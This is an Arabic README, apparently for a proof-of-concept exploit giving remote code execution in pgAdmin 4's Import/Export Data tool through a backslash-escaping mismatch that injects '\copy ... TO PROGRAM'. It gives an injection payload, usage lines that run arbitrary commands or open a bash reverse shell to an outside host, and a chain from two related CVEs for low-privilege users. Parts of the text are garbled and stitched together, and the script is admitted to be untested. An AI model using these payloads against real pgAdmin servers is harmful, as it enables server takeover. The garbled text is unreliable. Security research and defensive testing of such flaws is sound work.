
# pgAdmin 4 استيراد/تصدير RCE (CVE-2026-17566) PoC - حقن TO PROGRAM عبر عدم تطابق الهروب بالشرطة المائلة العكسية
PoC لتنفيذ التعليمات البرمجية عن بُعد في أداة Import/Export Data لـ pgAdmin 4. يستغل التباين في دلالات تهريب الشرطة المائلة العكسية بين مدقق الأقواس _is_query_parens_balanced() وpsql، لحقن \copy ... TO PROGRAM وتنفيذ أوامر عشوائية على الخادم الذي يشغّل pgAdmin.
خلفية سلسلة الهجوم: CVE-2026-17349 (تسريب بيانات اعتماد Workspaces) → CVE-2026-17351 (تجاوز القراءة فقط في AI Assistant) → هذه الثغرة (RCE). جميعها لا تتطلب سوى مستخدم مصادق بصلاحيات منخفضة.
تُدرج أداة Import/Export Data استعلام SQL الخاص بالمستخدم في قالب Jinja لبناء أمر psql \copy (...). يعامل مدقق توازن الأقواس المكتوب يدويًا دائمًا \' كعلامة اقتباس مُهرَّبة (وهذا صحيح فقط عندما يكون standard_conforming_strings=off)؛ بينما عندما يكون standard_conforming_strings=on (الوضع الافتراضي في PostgreSQL)، ، فتُغلق علامة الاقتباس مباشرة.
-- مثال توضيحي للـ payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
يظن المدقق أن ) ما زالت داخل السلسلة النصية ← فيمر فحص «التوازن» للأقواس؛ بينما يغلق psql السلسلة عند a\'، وتُنهي ) تغليف \copy (...)، فيصبح TO PROGRAM 'cmd' تعليمةً فعّالة ينفذها popen() الخاص بـ psql.
_is_query_parens_balanced())؛ الإصلاح في commit 1496fabeTO PROGRAM في psql، من العائلة نفسها)tools_import_export_data)export PGADMIN_PASSWORD='账户密码'
# أمر عشوائي (تُكتب النتيجة في ملف على جانب الخادم لسهولة التحقق)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# شل عكسي
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| المعامل | الوصف |
|---|---|
--url | عنوان pgAdmin الأساسي |
--user / --password (أو PGADMIN_PASSWORD) | حساب بصلاحيات منخفضة |
--command | أمر عشوائي (لا يمكن أن يحتوي على علامة اقتباس مفردة) |
--reverse HOST:PORT | توليد شل عكسي bash |
--server-id | معرّف الخادم (الافتراضي: أخذ الأول تلقائيًا) |
--file | اسم ملف التصدير (يُستخدم لبناء أمر \copy، الافتراضي /tmp/pgadmin_export.csv) |
--no-verify | تخطي التحقق من شهادة TLS |
سير العمل: تسجيل الدخول (معالجة تلقائية لـ CSRF/الجلسة) → تعداد الخوادم → إرسال طلب is_query_export المُنشأ عبر POST /import_export/job/<sid>.
مخصص للاستخدام في البحث الأمني والتحقق من الثغرات والاختبار الدفاعي فقط. كُتب هذا السكريبت استنادًا إلى تحليل تقني علني ولم يُختبر على جهاز حقيقي، وقد تحتاج حقول الطلبات إلى تعديل طفيف حسب إصدار pgAdmin المستهدف. شغّله في بيئة اختبار مصرّح بها فقط، ولا تستخدمه ضد أنظمة غير مصرّح بها.